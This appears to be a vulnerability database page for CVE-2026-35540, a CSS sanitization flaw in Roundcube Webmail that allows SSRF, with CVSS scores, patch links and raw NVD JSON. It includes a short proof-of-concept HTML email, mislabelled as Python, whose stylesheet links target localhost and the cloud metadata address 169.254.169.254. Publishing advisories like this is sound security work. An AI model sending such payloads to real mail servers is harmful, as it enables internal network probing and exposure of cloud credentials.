CVE-2026-35540

Description

An issue was discovered in Roundcube Webmail 1.6.0 before 1.6.14. Insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE

Roundcube Webmail >= 1.6.0, < 1.6.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-35540: Roundcube CSS Sanitization Issue -->
<!-- This HTML email attempts to load a stylesheet from an internal resource -->
<!DOCTYPE html>
<html>
<head>
    <style>
        @import url("http://127.0.0.1:8080/internal-sensitive-data");
    </style>
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
</head>
<body>
    <p>Check your server logs for outbound connections to internal IPs.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35540
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35540
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35540/
[4] VulDB https://vuldb.com/cve/CVE-2026-35540
[5] https://github.com/roundcube/roundcubemail/commit/27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870
[6] https://github.com/roundcube/roundcubemail/commit/579b68eff90650a5c782e153debd66c765648942
[7] https://github.com/roundcube/roundcubemail/releases/tag/1.6.14
[8] https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5
[9] https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35540", "sourceIdentifier": "[email protected]", "published": "2026-04-03T05:16:22.100", "lastModified": "2026-04-07T20:52:15.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Roundcube Webmail 1.6.0 before 1.6.14. Insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-669"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.14", "matchCriteriaId": "AF4B6448-D4F5-4680-B32C-9366630E9485"}]}]}], "references": [{"url": "https://github.com/roundcube/roundcubemail/commit/27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/579b68eff90650a5c782e153debd66c765648942", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}